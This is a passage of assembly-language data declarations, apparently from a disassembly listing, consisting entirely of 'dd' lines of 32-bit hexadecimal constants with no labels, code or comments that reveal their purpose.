		dd 0C77406FAh, 4B6970C3h, 0ED73C874h, 3EF007F3h, 4C87DA22h
		dd 1407AA20h, 0EA124B95h, 0FA09F5F1h, 21A00898h, 95000CC4h
		dd 7168B181h, 86A53Dh, 0DC8A5828h, 0F6EBCF56h, 0FF22D02h
		dd 901993C1h, 30C91188h, 0B9A8FCEFh, 2840F584h,	6087F20Fh
		dd 744F2818h, 18C6568Dh, 1CB14871h, 8FEC5DC1h, 3DE073D0h
		dd 7C580F83h, 0F3504314h, 78D802A0h, 80F84D15h,	947BC594h
		dd 0D2250399h, 0E04135EAh, 8143180Fh, 23C9C3BBh, 4D700613h
		dd 8953C57Ch, 0CA837E01h, 215BB107h, 2FFE20ADh,	8C7BBF0Eh
		dd 0F1508Bh, 3F2855F6h,	0C0807E10h, 5818360h, 2190739h
		dd 8F5BC185h, 57002730h, 186F2017h, 88D7E93Dh, 314443Eh
		dd 0F7200FDBh, 0EF6023D4h, 21D40D3Dh, 8BC30D04h, 800090C4h
		dd 505174CFh, 54B0643Ch, 128CF6h, 9EAFFCE0h, 7D937473h
		dd 281CE30Fh, 61070771h, 191541DFh, 0DDD105B4h,	0E0FBA094h
		dd 0C060D324h, 4F13484Ah, 0E2226D46h, 48431102h, 82B828E7h
		dd 801403F4h, 4BA57A0h,	6529005Bh, 0B9C17DF3h, 40F22517h
		dd 71D09A52h, 1DCF240h,	0C1BB367Eh, 94C05F53h, 20E07820h
		dd 0A7BE02E6h, 2E8E7C04h, 0DB915095h, 0C010F287h, 9D6BAD62h
		dd 6C82C700h, 0A6A37370h, 69902934h, 8F74809Ch,	27389261h
		dd 0D245F000h, 6EC8FD30h, 9849284h, 0FA13A911h,	42196803h
		dd 9823C4CFh, 950811A4h, 0C4E2124Ch, 20C54F9Dh,	6093F095h
		dd 0F4620210h, 144BED5Ah, 3F39D048h, 2284EC48h,	22EE3D47h
		dd 0B1165200h, 0D001027Eh, 18B4D748h, 9188F46Fh, 6180FFF1h
		dd 498EC7E4h, 9728C1B2h, 4B28C807h, 0E40E2CA4h,	807CFFB3h
		dd 0B4E2C7BDh, 0B74E260Ch, 0A4220230h, 346018D2h, 0D814A9Dh
		dd 48EEA570h, 1056E8AEh, 7339AAE0h, 0D13B7130h,	800D81h
		dd 13CE86F7h, 6E89AB8Ch, 0D23A0201h, 0D7FE05FAh, 20E828A8h
		dd 0D93083B4h, 0D33FE19Ah, 537910h, 0E739A22Eh,	787B8766h
		dd 310B8F0Eh, 34DEDFE1h, 0F0D22285h, 8CD9EC46h,	91D70041h
		dd 54341F60h, 0AA0066ECh, 2D5EC08Bh, 4C75786h, 5274B6CBh
		dd 5000C1DCh, 638B12A5h, 84D940F6h, 49048CDAh, 354F1648h
		dd 180F448Eh, 28E04842h, 0E04FC8Eh, 0BB695607h,	0BC4C7078h
		dd 0C79E1EA5h, 709F5863h, 0F9133D6Eh, 1C031DD3h, 24E974C9h
		dd 134091C1h, 0AC9C4204h, 2092625h, 291CAB60h, 1931FC0Eh
		dd 3F89E465h, 4558F8h, 0BDAB18E2h, 5F567CB4h, 39E44200h
		dd 4E0F5002h, 74911E67h, 22EF532Dh, 18C1F1B4h, 9161828h
		dd 0FA124995h, 0CA03741Ch
		dd 9F43950Eh, 0B2EFF1C9h, 63EEC4h, 0C64BDCECh, 0F9A7B111h
		dd 0C9116090h, 187C8476h, 0C820C7C1h, 860EAEC2h, 985E5443h
		dd 261E1820h, 200CE7F5h, 0AAA1F0F4h, 57F420D0h,	60B00C8Bh
		dd 0DD1111EEh, 79391A7Fh, 70D48CF6h, 600908C6h,	0D533208Bh
		dd 0EA0FDB7Fh, 2CC4A4C3h, 2E08983h, 61DAFFC5h, 79C36FD7h
		dd 4916B9A1h, 811401C8h, 0AE8CD8C5h, 0B0B388C9h, 28844CA8h
		dd 0A44675h, 0D61DBCF2h, 447BC767h, 0A784944Ch,	0FC98A2C5h
		dd 0D9D06065h, 0FB123243h, 0AF3B8F02h, 84C1B947h, 136021C8h
		dd 12234A95h, 0C3443DF2h, 0E9090B76h, 20D3E6BFh, 65AC4D8Ch
		dd 14F4923Fh, 0BC0997D1h, 0FDA83200h, 4FB259Bh,	4C243949h
		dd 0D3C80CF4h, 318B803Fh, 7DB0A1ABh, 78C062E0h,	0F14101E9h
		dd 93F21822h, 5307130h,	57D1EDDh, 0CB84001h, 134B7732h
		dd 8B2B38B8h, 0E001F00Fh, 0DE791D7Fh, 2E890418h, 2E377FC8h
		dd 24388FC4h, 0AA744188h, 0D884706Ch, 0D03005B8h, 0A848B886h
		dd 0AEB30C1h, 6212828h,	73E15560h, 829CDC63h, 670B3484h
		dd 79197FD0h, 0C448CFEh, 7FF432h, 0EBC7B489h, 37D65A16h
		dd 72509813h, 0EA4EF420h, 0D54100A9h, 995D1734h, 81922E8h
		dd 970CC7Ah, 7F1EDE18h,	1163791Bh, 0D6340008h, 8D3D497Fh
		dd 0EB9B246Dh, 72300C18h, 88195741h, 0E658D7E8h, 0ACBEB834h
		dd 0F0DA658Ch, 0AE856D8h, 83C82E54h, 0A048537Ch, 0F3321800h
		dd 43A11ABBh, 28831073h, 7C6456A5h, 2068A86Ch, 7074FB21h
		dd 4BC50A5Ah, 7CA8AD48h, 86000D46h, 663A73F8h, 7004A513h
		dd 3E98D9FDh, 0A071B107h, 5A7E18D3h, 334A407h, 0E6401D5Eh
		dd 1306D3Ch, 0E1EC823Bh, 8622A831h, 0A66EC958h,	0B10F1241h
		dd 0B9508033h, 9C94BAA4h, 0B4B5E407h, 52C97B82h, 0DF5700C0h
		dd 20675D6Eh, 0E8A89372h, 0B9027943h, 0EB08A97Bh, 0D9A0C9AFh
		dd 15E24818h, 113D4F23h, 411704DCh, 0C6800748h,	3183BEAh
		dd 37EF89D7h, 2FB34A71h, 9EC7F2E8h, 487C502Ah, 0E3D15099h
		dd 447AC119h, 3C5081C4h, 30CC49BAh, 8554C84Ch, 14217B08h
		dd 706918B6h, 0FF25B911h, 91FC271Eh, 1109F787h,	0A050B6B8h
		dd 0F45BC7EAh, 5340C09Bh, 144C960Ah, 0F5120EF8h, 4C409ACh
		dd 0F4AFB005h, 0CAD46808h, 4F14051Dh, 10B88E65h, 741F4412h
		dd 0E87B80DDh, 0A6A5F268h, 693D7600h, 0BF851904h, 0ECEA58C0h
		dd 88900B22h, 8892A290h, 0A75098F8h, 0FB49B0DCh, 0F1D4004Ch
		dd 0FA5CA901h, 20B701AEh, 386A4097h, 0DF4C2C5Fh, 245E0DD2h
		dd 0F8B01306h, 2660019h, 19C7C2F0h, 0C05C530Ah,	169F04C4h
		dd 0ECC8130Eh, 170E8C25h, 29124695h, 9C96F4h, 0A5950FC7h
		dd 52221A54h, 670A3Bh, 0CCE5C95Bh, 0DD4BE98Ch, 7B2502D0h
		dd 0DC908634h, 1F267DDCh, 760204A3h, 8C06910Dh,	2AFA108Ch
		dd 10EC8B3Bh, 981613B1h, 61B699B0h, 8C51284Bh, 0CC062BEh
		dd 859A4EFh, 4F4001F3h,	0DDF71827h, 1300234Ah, 0E4485335h
		dd 7FE1C010h, 0D64C791Eh, 0D92FE0A0h, 8EC4007Fh, 0DBA42041h
		dd 3A019408h, 0B98C100Ah, 58757184h, 0F8F7B089h, 0E9551C00h
		dd 5332437Bh, 0B557494Dh, 158C003Ch, 0CA414AE7h, 38430605h
		dd 0DC0FE54Ch, 83C1C1A0h, 6C30822Dh, 21151376h,	0F7C1FEEh
		dd 18785E53h, 77095170h, 89D4375Dh, 0E5A80A88h,	0B81815h
		dd 72D24153h, 5D6115EAh, 630908F5h, 0C094AD08h,	734030C2h
		dd 1E30483Fh, 0E1AF001Fh, 87160CC5h, 8CC14BDh, 0FD2155h
		dd 0B95BAF26h, 3B54D90Eh, 34C04D24h, 74E9243Ah,	0AEA203Bh
		dd 1B35A44Fh, 45DA01A4h, 248C587Bh, 0C7268718h,	291FEC8Ah
		dd 63C50BA0h, 0F8219314h, 208DC7E5h, 5F2E98E8h,	380E003Ch
		dd 47B03AE9h, 600644F0h, 1EDB681h, 0FFBAB989h, 81FDB0B8h
		dd 4933041h, 0DDF5DF2Ch, 28B555DCh, 1B4C7E6h, 0D81FD3EDh
		dd 3CF12E15h, 8C9EBC74h, 28748000h, 8CB4C690h, 0E54304D2h
		dd 0D9AADFB8h, 0EC44CAE8h, 18864300h, 0BEE99EA6h, 0C8644DECh
		dd 88000327h, 0B05E2ED7h, 8572020Ah, 0BD00CCDEh, 4BD4EDB1h
		dd 2860D416h, 18BBC707h, 0B48AD94Dh, 84044FACh,	38F4A121h
		dd 3999AC54h, 19F0EC1h,	48D90041h, 79DE08F7h, 66899700h
		dd 42E10E6h, 576D004Fh,	40F1A134h, 20C0494Eh, 0D385BCD9h
		dd 8820A72Ch, 0EEC02AFFh, 0AEE460h, 0C8825CEFh,	0D4A8427Dh
		dd 6E0D2E00h, 0DFAC865Ah, 0DF4740Fh, 847471F3h,	0D0EDF958h
		dd 8760569Bh, 0C34A311h, 0C35E4CAh, 1D04726Dh, 21C7A008h
		dd 78E32CC6h, 0DA3AF817h, 4DD107B5h, 805A91EBh,	0B7659BF2h
		dd 0C03BD600h, 8E833D2Dh, 809E659Ah, 14F500D5h,	0A9827472h
		dd 7830D278h, 5E1090F6h, 0AF6F00D5h, 8FB98DFh, 9A0F4D22h
		dd 80B12989h, 6DC8D983h, 66CE2819h, 8E43984h, 43A08D1Eh
		dd 4F02AEC7h, 0D6482901h, 2E4EB457h, 0DC1E405Eh, 2222220Dh
		dd 396D0C62h, 0D8686F12h, 0A383DE18h, 437960h, 5BF9544Dh
		dd 86FACE66h, 0BE00057Ch, 0F3D6AC82h, 0E274DC0Fh, 815C05E9h
		dd 4E3F877h, 63DDD4BCh,	0A7AA9282h, 191C6DCCh, 0DE7B00F1h
		dd 5E4A78BBh, 20C68EA6h, 0E8D86E49h, 79D3123h, 0BEE36BB0h
		dd 0D8E21D48h, 1B7BB240h, 0D70AF5Ah, 0DF067DF6h, 0A328E821h
		dd 55E59A00h, 9C92DAC8h, 291301E4h, 7440EEA8h, 0D9B44048h
		dd 9D61F257h, 2E96AEA1h, 2BCB00FAh, 0D8C1DDC9h,	84CCE883h
		dd 1897B450h, 945A5046h, 8A3219D2h, 0E357189Ch,	6CEE4900h
		dd 5CCB5605h, 87C02806h, 7C92F8A4h, 30D8A85Eh, 5651C077h
		dd 7A169B2Ah, 6C28B81Eh, 0B1499219h, 7078CC0h, 9BE6A2C2h
		dd 7FD76051h, 0CA01BDF9h, 0C8AFE138h, 82DAE2A5h, 0AD8E8C4h
		dd 839D1170h, 92CC0C36h, 7C033245h, 0F5F02EC8h,	2A00117Bh
		dd 0D49F4C98h, 0A0D94503h, 34D5D3E0h, 23C06FB3h, 0DA1B2CCh
		dd 6BC1F3A1h, 508A10E1h, 40530009h, 0E25C7DBCh,	9150F7DDh
		dd 90CD80h, 2A98BE20h, 807630h,	0D175FD89h, 0AF2CB680h
		dd 3351F912h, 0D112540Ch, 0BA66180Ch, 6DB23895h, 0AA760D0Ch
		dd 3047107Fh, 0B6291324h, 8563B26Eh, 84D90419h,	96811C87h
		dd 88227E9Ah, 30CC2318h, 0F8A46E0Eh, 18F99804h,	80885026h
		dd 6007F54Fh, 72312B83h, 0DD8EB1C0h, 6F7A39Ch, 0EF4CFDD7h
		dd 866008C7h, 9CD5B021h, 36C0326h, 8F8472Fh, 38403DAAh
		dd 94FA023Fh, 1B19A490h, 2A610477h, 9C08DC18h, 0C4CFF7A2h
		dd 0D4AF4082h, 18F7F99Ch, 0B07E3640h, 562AA02Ch, 7B01E898h
		dd 0FF54D394h, 0BEE4FCDCh, 21BA0087h, 2869ED52h, 5D076395h
		dd 0A832DD7Bh, 9A1804F9h, 0C90C3360h, 448C2DE4h, 2B7EC59Bh
		dd 0E6EAE805h, 0A404AC5Ch, 0D3049C7Ah, 7340C266h, 3A02C6Bh
		dd 0C4A10AEDh, 482C367Bh, 590E10F0h, 0E3CE6209h, 4D468A0h
		dd 0E54C09C2h, 3E642250h, 28669D3h, 289E3FCEh, 0AC845890h
		dd 79D6E815h, 0B7D0990h, 3F4820DEh, 7C9E57CAh, 99041269h
		dd 0A66809F9h, 0B08CC606h, 0C1F3D109h, 6460A1CDh, 66F4C614h
		dd 207D64B2h, 0D3CCC1A7h, 602003Ch, 80B760D4h, 32960CBEh
		dd 3144F9D4h, 0EB6B49AEh, 943C8180h, 28B1FC46h,	0C3A4D300h
		dd 13992F38h, 0EA3B00C8h, 42D46ACFh, 0CE140898h, 8054A80Dh
		dd 7D602E3h, 7D70CFA9h,	3959DBACh, 0CCFAA05h, 90417F5Eh
		dd 0E63503D1h, 36292C62h, 11143E9Ch, 1576C00Bh,	9471C9E8h
		dd 0D10ED400h, 1BCFBD2h, 0DC8610B2h, 0F0F3710Dh, 0DC4350DEh
		dd 0FC14F45Eh, 4CC1D909h
		dd 0CC6804A0h, 0D2033746h, 0C9DDA7E2h, 640830B2h, 46C48E21h
		dd 5A0A920Fh, 4BBAE1F4h, 0F0207602h, 0B498A8BDh, 7BB62466h
		dd 198B46D0h, 329B0400h, 31F78EC7h, 4EB9DD7Eh, 0A7C0B067h
		dd 4266AA7Dh, 0F77C3702h, 818ACAA6h, 5F1E409Eh,	49FEE424h
		dd 3850B498h, 0C2674016h, 60A15A6Eh, 0E9FBD7B6h, 0E8BF1C38h
		dd 1AB140F9h, 0B9C9920Ah, 10C08758h, 430268EEh,	0DC6BBE49h
		dd 0A0F9C4A1h, 8D62DC31h, 5A879219h, 2180F109h,	17319919h
		dd 400D7F68h, 79C8E8DBh, 408A7064h, 0D62E6458h,	4F12D62Fh
		dd 80953808h, 0D43FFFE8h, 74092A5Ah, 306340FAh,	34D60C7Ch
		dd 2738B68Bh, 0C217A454h, 7828073Ch, 0D6393680h, 72597AEh
		dd 0D1E04A4Eh, 657E058h, 0FA641911h, 6242A480h,	846A37DEh
		dd 189F1449h, 0CE0C3938h, 97115523h, 8730CA1Fh,	3F64EA42h
		dd 0A4405C15h, 0A70F8CC5h, 7162E331h, 2094F288h, 1A101CB4h
		dd 0E39C5600h, 0E9ACFBD3h, 9B7C5020h, 93570C2Ch, 0ED00C381h
		dd 0E4AECD4Bh, 3DA2CB63h, 80B8DBC6h, 62C07128h,	4D41910Bh
		dd 0FC40CCC8h, 19C09BF8h, 127DDF8Ah, 3F89C9DDh,	29A6A700h
		dd 0C024FBD4h, 0F42B8E9h, 80AE0564h, 0C7992960h, 6209C90h
		dd 2B6B0C6Fh, 830EA5Dh,	0F33058FEh, 6342A988h, 965E0177h
		dd 830A0659h, 2A187204h, 0AE1EDCA1h, 32C9962Dh,	84F4A952h
		dd 0DE602C1Ch, 0F723A49Ch, 8A11DFh, 0C59CD6B1h,	1C044B12h
		dd 0C122EADCh, 5654EEC0h, 2063A9h, 606B9099h, 7FDB83h
		dd 6F637E8Fh, 0DD39291Ch, 7BBB2B00h, 96AF324Ah,	0E081E5D6h
		dd 0CE189FA6h, 3A402076h, 0D52BCC12h, 0A0810085h, 0EE1098CDh
		dd 0CC5C2C59h, 29FFA2B0h, 45ED7404h, 804058C2h,	2291E287h
		dd 0B3DB00C5h, 0D54548F4h, 302C3F1Fh, 0CD10A88Eh, 0E201A3DEh
		dd 0FFF7A89Ch, 0B5008C4Eh, 87BD9CDAh, 0EB00C622h, 0B6BF89Fh
		dd 900F5760h, 5803C016h, 304D9D89h, 6106291Dh, 182595C6h
		dd 64E9740Eh, 816A2614h, 8703E851h, 0C35E2037h,	7D748922h
		dd 19463856h, 56460321h, 0A10C71C3h, 8193F190h,	8B1BE97Fh
		dd 1F5878D6h, 0D8B58929h, 858D6E1Eh, 2BF44A1Dh,	0D0BC0F9Dh
		dd 3D20BD12h, 8A506425h, 0C35D6155h, 8C6C89C8h,	451C44h
		dd 0FA3AC355h, 51319454h, 250ED806h, 2313E9h, 0E844CCDBh
		dd 8CF9FA91h, 84417B00h, 3B545F66h, 2173B21h, 27C29E64h
		dd 5003117Eh, 84E68060h, 61F2BFD8h, 51BD830Dh, 0DFC3B004h
		dd 0C42D3AD6h, 0EF5E844h, 32BF2060h, 7247068h, 0B70F61F9h
		dd 2DE943D6h, 23BB3E85h, 420F001Ah, 81624F0Eh, 0D174D664h
		dd 0F220664Fh, 8B509B63h, 2952DDFAh, 0F62010BDh, 30CEB145h
		dd 1490C358h, 80B14453h, 41C35040h, 7DB0003Dh, 49C5BD02h
		dd 0C9008139h, 2605591Bh, 0A8ED95FFh, 0FB966F4h, 85018889h
		dd 83140DECh, 0BA10C400h, 626AF048h, 0A7C0508Bh, 1DF34CDAh
		dd 5C9DBD12h, 9750D51h,	4184D312h, 53501974h, 0D3B83684h
		dd 851C9007h, 0E3C23105h, 0AAA29Dh, 585BD3FFh, 174122ACh
		dd 9111200Fh, 958B81A7h, 0F0005F9h, 88AB028Fh, 0D3BFCBE0h
		dd 85C5118h, 318D0394h,	812A0679h, 0A7322BDh, 0FD65726Fh
		dd 3F99840Dh, 566DC043h, 50313A57h, 0DF5FF0Eh, 0B019DA0Dh
		dd 0C60CA601h, 1BAF42h,	184F6844h, 0FF96A302h, 832639B5h
		dd 7C3B7230h, 8BD0150Ch, 0D3892CD8h, 35CDCC33h,	0C576744Ah
		dd 0EB726302h, 5BD16529h, 108B1058h, 3B0EADBDh,	99D8A60h
		dd 879EB12Ah, 8D8913A2h, 61524D41h, 0F38CF46h, 0EA25BCF8h
		dd 6E073529h, 5C3837Dh,	8050A20Fh, 0C7D08B0Dh, 205D3285h
		dd 0BA46013Ah, 5A1C5246h, 548989C3h, 42007F1Ch,	0EF17C352h
		dd 3396437h, 2AB12CFCh,	23708E0Fh, 0A98D0938h, 7E15BA30h
		dd 0CE8A06A0h, 0FF2754E9h, 821391F4h, 39912245h, 444DB619h
		dd 582E14A9h, 0B1041623h, 3687142Ch, 8A001154h,	0DE9F9F1h
		dd 2BB929C0h, 0CA7FA9F4h, 0A8598B6Eh, 3FBE548Ch, 59398C51h
		dd 4C8911C3h, 41801888h, 2FF1C351h, 0D8612C1Bh,	6694020Bh
		dd 7AB03EBEh, 0F8A61F85h, 902FDD20h, 0D7D6C5Ch,	4224532h
		dd 1184222Ch, 94C8B64h,	10B5E903h, 910B163Dh, 0C4182E59h
		dd 0C98D2D04h, 0C05F2C64h, 0D4C837CFh, 0F3D442FEh, 80E99AB5h
		dd 45AC2F70h, 1E2100D0h, 0BE86A016h, 0CB0654EFh, 9802A6A8h
		dd 57CF819Eh, 0C3725F18h, 117C8923h, 57470215h,	0C01FB0C3h
		dd 14CFF715h, 0AE3F681Bh, 0D1BDB170h, 980D1814h, 12852094h
		dd 8A0F44C2h, 1C602508h, 612C22DBh, 2614F629h, 485316h
		dd 8F6917AEh, 2F6A5ACh,	6CD9FE6h, 607053h, 8B802B75h, 0C08524CEh
		dd 1402111Fh, 24AF09B6h, 78AC5A42h, 3235D08h, 6090CF81h
		dd 0B79DFCE7h, 0ACB9D203h, 0D456FCD1h, 0F88009DEh, 6D46C620h
		dd 3C402201h, 3DD80D3h,	4005BA20h, 884C0F1Ah, 85018F6Ah
		dd 7D1424A1h, 1B25144Bh, 0BE14C885h, 3A72DC80h,	47E82A96h
		dd 649EE103h, 0B0F487F6h, 5528A8CDh, 62B8FFABh,	7DC58A48h
		dd 53F98A1Eh, 301BA2E2h, 0A802B042h, 4581E395h,	0E7A5753h
		dd 0FBFCCE00h, 495DF507h, 0DBD50721h, 61D88ACDh, 7050D116h
		dd 6A26D095h, 0FA19C401h, 0D244570Ah, 4959FE23h, 12E86E14h
		dd 4C1F0258h, 5352075h,	1FF6861h, 53AD5D0Fh, 5BB43C08h
		dd 0E88B4DD0h, 0C0588C1Ch, 38A01BDh, 0B0FBB735h, 679FB542h
		dd 6019E4D6h, 0F46237FDh, 0BA5000CDh, 6C3F9ACAh, 27C112E9h
		dd 1F819523h, 0C275EC48h, 0A9BD896Fh, 28507769h, 8C17BC26h
		dd 9F27EA1Fh, 0E58D33C3h, 0B14C1528h, 0FB2EE23Fh, 2BAC2927h
		dd 12CA7894h, 0CAA4D01h, 0FC3A4030h, 0D42EE820h, 0FA24C855h
		dd 3F3145E9h, 31723CEh,	4F0898A3h, 3C0379B7h, 0E9895AF9h
		dd 1090235Bh, 46502441h, 646CA746h, 0E4C1641Ah,	0CCD8EB1Bh
		dd 14A8982Dh, 99B77DE9h, 0F5562D40h, 0FE3F80CEh, 28BA2DF1h
		dd 32825F15h, 0F98C0FB1h, 89468089h, 814C28B0h,	5310870Eh
		dd 5034FFh, 5F41EE80h, 48559D31h, 50F27409h, 5B185319h
		dd 8924C372h, 4370FF5Ch, 0C8C36353h, 6FE0B271h,	8B0C56CDh
		dd 250BE8D1h, 5C2B00F2h, 0DBD8F4E0h, 312803A6h,	0CA24E666h
		dd 89C3895Fh, 8B948DB5h, 0D120F68Dh, 691E483Dh,	0EB50F9A1h
		dd 0EB4A41C2h, 6AB93FB0h, 950F77Ch, 17C03A9Eh, 1BA3EA81h
		dd 0A30A5288h, 0A9911922h, 0F24CB380h, 0E3FD4F9h, 0CB93A8CEh
		dd 0C5A2D3E0h, 709F1F8h, 32A4665Bh, 1923410Bh, 0F1406B63h
		dd 0D1C876DAh, 9099F30Eh, 0B70DA132h, 7A181CD1h, 0A3822502h
		dd 0C1E2B26Fh, 99CC2977h, 6C7ED00Ah, 6F35D27Ah,	6D4F00E8h
		dd 9B9EAED1h, 33611FD4h, 62E87995h, 0D824867h, 581817DDh
		dd 0EAB1E953h, 0B6D26F00h, 2849124Eh, 45509988h, 0BD9D010Ch
		dd 0A53E0723h, 0A327185Dh, 0CA65B5A2h, 69956002h, 3D688110h
		dd 0C07C4859h, 0E343514Ah, 0EA6C0057h, 0BD1DF00Ch, 1F0CC306h
		dd 54D1F5F3h, 41515C03h, 300CA110h, 0CD806859h,	2AB4B21Fh
		dd 60A519BDh, 89C05B68h, 1A50C98Dh, 828ABE7Fh, 8210EDAAh
		dd 205E97Fh, 0E5468B0Fh, 96F5BD26h, 0FFF88386h,	4BE20FEh
		dd 9AEA14A0h, 2CF6527Ch, 0B45F24FFh, 4050E112h,	240BD510h
		dd 0D515D502h, 0EF8107E5h, 0A9417CBh, 243B8B80h, 2A26E15Bh
		dd 0F2C6C4F0h, 98089B00h, 0F837C77h, 41629C87h,	73D0FFD3h
		dd 3016A2FAh, 0D206BDD1h, 0DDF6B966h, 1E8E20ACh, 58ABB535h
		dd 0C0649F67h
		dd 0E9A56884h, 7071FF42h, 0F1C6B902h, 0D8C81FD8h, 0FF20DE5Eh
		dd 92765FD1h, 13AC4D4Dh, 0C2866C1Fh, 0AF30D1C1h, 4AA8317Fh
		dd 5BE80915h, 56107293h, 0E3830675h, 0CB45240Fh, 3833004Ch
		dd 3F8FF292h, 0C1309300h, 818B0DBCh, 0B8A904F1h, 0A35F2C3Ah
		dd 8C0F1496h, 0F48A84F8h, 5962D486h, 9A5C14A5h,	10AC6CD1h
		dd 92463505h, 0C0CD67B6h, 0B1D71D60h, 542D6449h, 47D20B91h
		dd 9815320Ah, 0D154FCh,	0A16AE8D7h, 210B7902h, 26028774h
		dd 0BB3E7B13h, 826C680h, 2C11B531h, 6270F851h, 75FE46B7h
		dd 0CA806D0Bh, 2233274h, 0E52ADD8Bh, 85F260Dh, 0C71F15E5h
		dd 70CE0D15h, 0B0F0AEB3h, 59BF3837h, 1125E389h,	4B0D8487h
		dd 7F4CE413h, 1B584E4h,	18B25CF3h, 92FF730h, 0E96901C1h
		dd 3D952810h, 0B600BC79h, 0E2AEAD4Bh, 585D2B79h, 0A240CAEFh
		dd 44F74A24h, 1D30A131h, 7C59DBEh, 91229DADh, 76238415h
		dd 2791D6C1h, 78B204h, 0B4F84249h, 2FAC39h, 0B2FFE26Ch
		dd 208FAD52h, 6AFCB701h, 40DA8001h, 29045766h, 2316D58Dh
		dd 119283Eh, 6F0758AAh,	0E72FB6A5h, 0EA17D910h,	57970185h
		dd 0E280B050h, 569066FBh, 1134F006h, 1E151C7Ch,	80FE40A2h
		dd 8D33D5E5h, 53C2F959h, 37A53ACh, 9687386Eh, 0CBA7F03Dh
		dd 922FAFDh, 4AB28020h,	1945BD16h, 4995A420h, 0D5589745h
		dd 49162A7h, 0A9550C24h, 19DE0493h, 8150000Ah, 24547FE9h
		dd 0C9B11D3Ah, 2D2DEF0Eh, 0BAB25826h, 8C042C09h, 66B1317Dh
		dd 6C1DA76Ch, 0D61395E6h, 0E1140292h, 0CBC09293h, 618405CDh
		dd 0E9602336h, 92AB8107h, 0C9784F04h, 0A461A3E4h, 8E0F1325h
		dd 0C13F3005h, 0DFAC2569h, 454885E4h, 0F65F9C4Bh, 360CCCF8h
		dd 0B40C79D5h, 8F5CB356h, 0C6560B9Ch, 2EC19214h, 437131E9h
		dd 410C32C5h, 6F08BD85h, 2B49229Dh, 0C59D9569h,	6018E4E7h
		dd 41580C0h, 0BD01D67Ah, 0B585C895h, 7FF74428h,	89412A82h
		dd 73EB41C9h, 841F90A4h, 0BD2C6B94h, 8B6004E0h,	0DD80C1CFh
		dd 18610328h, 0E2EE8AA0h, 0C38A23EDh, 8BD705A4h, 0F38F0FF3h
		dd 6CF126ECh, 91539A1h,	421696A5h, 0E8C7FB63h, 0AA80EFh
		dd 0C05B5961h, 3497ACC1h, 46F48F75h, 2410652h, 0BE91DA81h
		dd 632E626Ah, 11D5F171h, 0D9B22F76h, 0BDD9903Fh, 81D77A40h
		dd 1E3C0AC9h, 1ECB73CDh, 3AC0D3D0h, 31723F3h, 0B30C7B29h
		dd 0DE8853h, 3DD53B68h,	28817Ch, 9E7D143Ah, 0D88B5FA8h
		dd 1DCEDB6h, 0B4AC1034h, 0A4820F1Dh, 0E8322C1Bh, 8BC468E9h
		dd 0E8897203h, 0D8507543h, 0FF282006h, 5B3A2B43h, 0F88D3B0h
		dd 0E9890A87h, 0DD02D522h, 16264237h, 1F0A1F42h, 2EC9084Ah
		dd 84035009h, 6A040E68h, 88A28E60h, 0B5E9C019h,	172D01A7h
		dd 83DA1AE2h, 131F7D26h, 89498DD7h, 4677075Ah, 327F2F0Eh
		dd 0C5EEA100h, 3607663Ch, 7CE5165Ah, 99612E9h, 9F928506h
		dd 13798E82h, 99B65A06h, 9ED08086h, 0BF5E0385h,	997FA600h
		dd 0C36ED572h, 1ED21847h, 0B50130C1h, 584ED15Dh, 32451282h
		dd 0DA4D72D4h, 6B226660h, 1510CC48h, 55612C07h,	47443Bh
		dd 9C2721ABh, 0BF665EA7h, 5A832512h, 0E705B30Dh, 17D19B20h
		dd 30600228h, 1AF42A25h, 0E0C0341Fh, 47351380h,	3132B124h
		dd 0E57EAC16h, 8EE37C03h, 0B94FB805h, 0A436E145h, 312F2548h
		dd 0A233D689h, 306D62F7h, 810FBC94h, 89B14BF1h,	0B4B4E61Eh
		dd 59F14090h, 1848408Bh, 8C15E8ABh, 87A1DB28h, 0FFB8CB71h
		dd 24102523h, 0A273DE3h, 4045C09Ch, 0DED1C31h, 828C3D01h
		dd 0B4830F17h, 0D0E87301h, 0E700BF25h, 0BDF70890h, 1723BA68h
		dd 30603CB9h, 3D8BB514h, 7A3A9854h, 0AC305B8Ah,	0D50ED68Ah
		dd 0E74264AAh, 0E7FA9D16h, 0E8B5D014h, 0EA5C8C14h, 9492DD8h
		dd 0A6286666h, 1288038Bh, 0F68F5333h, 820ABCB0h, 5F85E201h
		dd 2A268E3Dh, 9E8808Ch,	5200B131h, 5061236Ah, 0B83A6EDAh
		dd 347120ABh, 0BAC00DA0h, 6866C40Bh, 88151F6Ch,	21FC0BC6h
		dd 98720BC6h, 0F67F7D2h, 883301ABh, 0FB2104D6h,	2DCB9159h
		dd 0CC98A90Ah, 266FF780h, 8C9E39h, 9575616h, 0E68593A2h
		dd 5A22EC4Fh, 0F6445E51h, 0D7B73101h, 1B8A4EBEh, 4B653030h
		dd 3D96442Fh, 0BD0B6024h, 0E9EDC4A9h, 0B58F8CD5h, 20DABCABh
		dd 0D14C53E6h, 1DF913B9h, 501B4D2h, 528440Eh, 87F34828h
		dd 8788F280h, 0E18D4B08h, 24506396h, 310B34C0h,	910FB507h
		dd 85DDFCDDh, 0EDD281E0h, 0D232518h, 1991B397h,	73A7B780h
		dd 0B59AAFCFh, 531BE416h, 18A19C04h, 4B0F7F8Ch,	4DB98C86h
		dd 20203441h, 0EF238102h, 85AD7CE7h, 9BFD2C20h,	717778B3h
		dd 0D541BA09h, 8AF358FBh, 0C98902DFh, 24068530h, 4179AA4h
		dd 0E95D61F2h, 8CECB81Ah, 41348CF9h, 0CCBAE5FBh, 1EA44096h
		dd 324D0FA0h, 0CB346A80h, 3C618932h, 63C6150h, 3898CC15h
		dd 352F6D6Ah, 0E1060713h, 4750168h, 0C3F6DB8Ch,	693CAC04h
		dd 80C17119h, 0B8526856h, 0B8F9CA8h, 0D104046Ah, 64DB1D10h
		dd 45BEEE81h, 472D0897h, 0AC9B6804h, 8A79EC18h,	1EF08B04h
		dd 61684F40h, 802F7B26h, 28873051h, 7D936044h, 56286A53h
		dd 0C08518C2h, 41759875h, 64980A68h, 0D32ADB87h, 60B0D021h
		dd 0E7A4684Ch, 20AD80E4h, 979D8B04h, 45B895Fh, 579C3341h
		dd 0C2150A54h, 0F55E03C7h, 0C4316BBh, 269D79C8h, 425031B1h
		dd 0E67B3401h, 53D002A0h, 91B5CA34h, 6D21174Ah,	97684540h
		dd 92A520F7h, 0CC187521h, 0CD50267h, 3275852Eh,	0D1C06636h
		dd 19A94EA1h, 69BF620Ch, 90A14634h, 8D5D54C2h, 0E6E19660h
		dd 113DF11h, 9783518Dh,	0F6D40C61h, 0BF862C32h,	82750D02h
